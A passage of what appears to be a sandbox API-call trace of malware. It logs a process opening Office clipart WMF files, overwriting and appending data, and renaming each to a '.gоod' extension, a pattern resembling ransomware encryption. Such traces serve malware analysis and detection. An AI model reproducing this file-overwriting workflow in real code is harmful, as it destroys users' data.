0x49 [0238.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0238.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8a5f9000, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2586)) returned 1 [0238.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0238.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.gоod")) returned 1 [0238.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0238.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x372c390 | out: lpFileInformation=0x372c390*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0)) returned 1 [0238.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0238.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.845] GetFileType (hFile=0x768) returned 0x1 [0238.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.845] GetFileType (hFile=0x768) returned 0x1 [0238.845] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0238.845] ReadFile (in: hFile=0x768, lpBuffer=0x383a3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x383a3f0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0238.846] CloseHandle (hObject=0x768) returned 1 [0238.846] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.846] GetFileType (hFile=0x768) returned 0x1 [0238.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.846] GetFileType (hFile=0x768) returned 0x1 [0238.847] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x6ba0 [0238.847] WriteFile (in: hFile=0x768, lpBuffer=0x383b688*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x383b688*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0238.847] CloseHandle (hObject=0x768) returned 1 [0238.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.848] GetFileType (hFile=0x768) returned 0x1 [0238.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.848] GetFileType (hFile=0x768) returned 0x1 [0238.848] ReadFile (in: hFile=0x768, lpBuffer=0x383d948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x383d948*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0238.875] CloseHandle (hObject=0x768) returned 1 [0238.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.876] GetFileType (hFile=0x768) returned 0x1 [0238.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.876] GetFileType (hFile=0x768) returned 0x1 [0238.876] WriteFile (in: hFile=0x768, lpBuffer=0x383c6a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x383c6a0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0238.876] CloseHandle (hObject=0x768) returned 1 [0238.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", lpFilePart=0x0) returned 0x44 [0238.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0238.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0238.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8a98c834, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6bb0)) returned 1 [0238.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0238.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.gоod")) returned 1 [0238.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0238.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0238.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38bad70 | out: lpFileInformation=0x38bad70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec)) returned 1 [0238.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0238.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0238.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0238.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.878] GetFileType (hFile=0x768) returned 0x1 [0238.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0238.878] GetFileType (hFile=0x768) returned 0x1 [0238.878] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0238.878] ReadFile (in: hFile=0x768, lpBuffer=0x38bb188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38bb188*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0241.083] CloseHandle (hObject=0x768) returned 1 [0241.208] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0241.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.209] GetFileType (hFile=0x768) returned 0x1 [0241.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.209] GetFileType (hFile=0x768) returned 0x1 [0241.209] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2cec [0241.209] WriteFile (in: hFile=0x768, lpBuffer=0x3b7e628*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3b7e628*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0241.210] CloseHandle (hObject=0x768) returned 1 [0241.210] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0241.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.210] GetFileType (hFile=0x768) returned 0x1 [0241.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.210] GetFileType (hFile=0x768) returned 0x1 [0241.210] ReadFile (in: hFile=0x768, lpBuffer=0x3b808e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3b808e8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0241.237] CloseHandle (hObject=0x768) returned 1 [0241.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0241.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.237] GetFileType (hFile=0x768) returned 0x1 [0241.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.237] GetFileType (hFile=0x768) returned 0x1 [0241.237] WriteFile (in: hFile=0x768, lpBuffer=0x3b7f640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3b7f640*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0241.237] CloseHandle (hObject=0x768) returned 1 [0241.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", lpFilePart=0x0) returned 0x44 [0241.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0241.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0241.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8bfff2f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cfc)) returned 1 [0241.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0241.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.gоod")) returned 1 [0241.238] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0241.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3bfccd8 | out: lpFileInformation=0x3bfccd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138)) returned 1 [0241.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0241.239] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.239] GetFileType (hFile=0x768) returned 0x1 [0241.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.239] GetFileType (hFile=0x768) returned 0x1 [0241.239] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0241.239] ReadFile (in: hFile=0x768, lpBuffer=0x3bfd0f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3bfd0f0*, lpNumberOfBytesRead=0x1faedd28*=0x138, lpOverlapped=0x0) returned 1 [0241.241] CloseHandle (hObject=0x768) returned 1 [0241.241] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.241] GetFileType (hFile=0x768) returned 0x1 [0241.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.241] GetFileType (hFile=0x768) returned 0x1 [0241.241] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1138 [0241.241] WriteFile (in: hFile=0x768, lpBuffer=0x3bfe3e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3bfe3e8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0241.241] CloseHandle (hObject=0x768) returned 1 [0241.241] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.452] GetFileType (hFile=0x768) returned 0x1 [0241.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.452] GetFileType (hFile=0x768) returned 0x1 [0241.452] ReadFile (in: hFile=0x768, lpBuffer=0x38e3770, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x38e3770*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0241.479] CloseHandle (hObject=0x768) returned 1 [0241.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0241.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0241.479] GetFileType (hFile=0x768) returned 0x1 [0241.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0241.479] GetFileType (hFile=0x768) returned 0x1 [0241.479] WriteFile (in: hFile=0x768, lpBuffer=0x37bf878*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37bf878*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0241.479] CloseHandle (hObject=0x768) returned 1 [0241.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF", lpFilePart=0x0) returned 0x44 [0241.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0241.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0241.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c261a27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1148)) returned 1 [0241.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0241.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 